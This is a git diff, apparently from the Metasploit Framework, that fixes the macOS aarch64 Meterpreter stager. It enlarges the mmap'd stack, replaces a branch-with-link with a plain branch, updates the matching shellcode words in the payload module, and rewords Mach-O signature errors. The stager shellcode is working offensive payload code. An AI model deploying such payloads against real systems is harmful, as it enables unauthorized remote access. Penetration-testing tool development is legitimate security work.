diff --git a/external/source/shellcode/osx/aarch64/stage_mettle.s b/external/source/shellcode/osx/aarch64/stage_mettle.s
index 5f71870620..94f7df0977 100644
--- a/external/source/shellcode/osx/aarch64/stage_mettle.s
+++ b/external/source/shellcode/osx/aarch64/stage_mettle.s
@@ -74,9 +74,9 @@ _main:
     mov x15, x0
     
     /* make stack space */
-    /* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */
+    /* mmap(addr=0, length=0x40000, prot=3, flags=0x1002, fd=0, offset=0) */
     mov x0, xzr
-    mov x1, 0x4000
+    mov x1, 0x40000
     mov x2, 3
     mov x3, 0x1002
     mov x4, xzr
@@ -86,13 +86,13 @@ _main:
     //mov x1, sp
     //bic sp, x1, #15
     //sub sp, sp, 0x1000
-    add x0, x0, 0x2000
+    add x0, x0, 0x20000
     mov sp, x0
 
     mov x0, x13
 
     /* jump to main_osx */
-    blr x15
+    br x15
 
 failed:
     mov    x0, 0
diff --git a/lib/msf/core/payload/macho.rb b/lib/msf/core/payload/macho.rb
index c1687e4107..207844b80f 100644
--- a/lib/msf/core/payload/macho.rb
+++ b/lib/msf/core/payload/macho.rb
@@ -59,11 +59,11 @@ class Msf::Payload::MachO
     code_signature_index = @macho[:LC_CODE_SIGNATURE][0].dataoff
     code_signature = raw_data[code_signature_index..]
     s_magic, s_length, s_count, code_indexes = code_signature.unpack("N3a*")
-    raise "Invalid Magic!" if s_magic != 0xfade0cc0
+    raise "Invalid kSecCodeMagicEmbeddedSignature magic for macho" if s_magic != 0xfade0cc0
     indexes = code_indexes.unpack("N#{s_count*2}a*")
     code_directory = indexes.pop
     magic, length, version, flags, hash_offset, ident_offset, n_special_slots, n_code_slots, code_limit, hash_size, hash_type, platform, page_size, spare2, hash_list = code_directory.unpack("N9C4Na*")
-    raise "Invalid Magic2!" if magic != 0xfade0c02
+    raise "Invalid kSecCodeMagicCodeDirectory magic for macho" if magic != 0xfade0c02
     pagesize = 2**page_size
     page_index = 0
     raw_data.bytes.each_slice(pagesize) do |page|
diff --git a/modules/payloads/stages/osx/aarch64/meterpreter.rb b/modules/payloads/stages/osx/aarch64/meterpreter.rb
index 3066d51c17..d8a2461968 100644
--- a/modules/payloads/stages/osx/aarch64/meterpreter.rb
+++ b/modules/payloads/stages/osx/aarch64/meterpreter.rb
@@ -91,17 +91,17 @@ module MetasploitModule
       0xaa0b03ec,
       0xaa0003ef,
       0xaa1f03e0,
-      0xd2880001,
+      0xd2a00081,
       0xd2800062,
       0xd2820043,
       0xaa1f03e4,
       0xaa1f03e5,
       0x58000230,
       0xd4000001,
-      0x91400800,
+      0x91408000,
       0x9100001f,
       0xaa0d03e0,
-      0xd63f01e0,
+      0xd61f01e0,
       0xd2800000,
       0x58000210,
       0xd4000001,
@@ -120,7 +120,7 @@ module MetasploitModule
       0x0200004a,
       0x00000000,
       0x02000001,
-      0x00000000,
+      0x00000000
     ].pack("V*")
     print_status("Transmitting first stager...(#{midstager.length} bytes)")
     conn.put(midstager) == midstager.length